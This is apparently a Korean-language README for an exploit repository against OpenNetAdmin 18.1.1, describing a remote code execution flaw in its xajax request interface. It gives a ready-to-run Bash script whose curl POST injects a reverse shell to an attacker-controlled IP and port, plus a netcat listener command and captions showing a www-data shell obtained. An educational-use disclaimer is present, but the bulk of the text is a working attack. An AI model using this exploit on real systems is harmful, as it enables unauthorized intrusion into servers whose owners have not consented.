
⚠️ 고지 사항
이 저장소는 교육 및 연구 목적으로만 엄격히 제공됩니다.
여기에 제공된 정보와 코드는 통제된 환경(예: 개인 실습 머신)에서만 사용할 수 있습니다.
소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 이 코드를 무단 사용하는 것은 불법이며 비윤리적입니다.
저자는 이 코드의 오용이나 발생한 손해에 대해 책임을 지지 않습니다.
OpenNetAdmin 18.1.1에는 xajax AJAX 요청 인터페이스를 통한 원격 코드 실행 취약점이 존재합니다.
이 취약점은 부적절한 입력 검증에서 발생하며, 조작된 POST 요청을 /ona/로 전송하여 명령 주입을 허용합니다.
이 익스플로잇은 tooltips 플러그인을 활용하여 공격자의 리스너로 역방향 셸을 트리거합니다.
xajaxargs[]curl 사용)이 맞춤형 Bash 원라이너는 주입된 리버스 셸 코드와 함께 취약한 xajax=window_submit 엔드포인트로 POST 요청을 보냅니다.
#!/bin/bash
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<YOUR-IP>%2F<YOUR-PORT>%200%3E%261%22;echo \"END\"&xajaxargs[]=ping" "http://<TARGET-IP>/ona/" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
🛠️ 참고:
<YOUR-IP>와<YOUR-PORT>를 Netcat 리스너 IP 및 포트로 교체하세요.
다음 명령으로 리스너를 시작하십시오:
nc -nlvp <PORT>

취약한 OpenNetAdmin 인터페이스와 버전의 스크린샷.
bash shell.sh

페이로드를 트리거하는 스크립트 실행 스크린샷.
nc -nlvp <PORT>

www-data로 리버스 셸을 획득한 모습.
상세한 분석과 이론은 제 Medium 게시물에서 확인하세요:
👉 Medium에서 블로그 읽기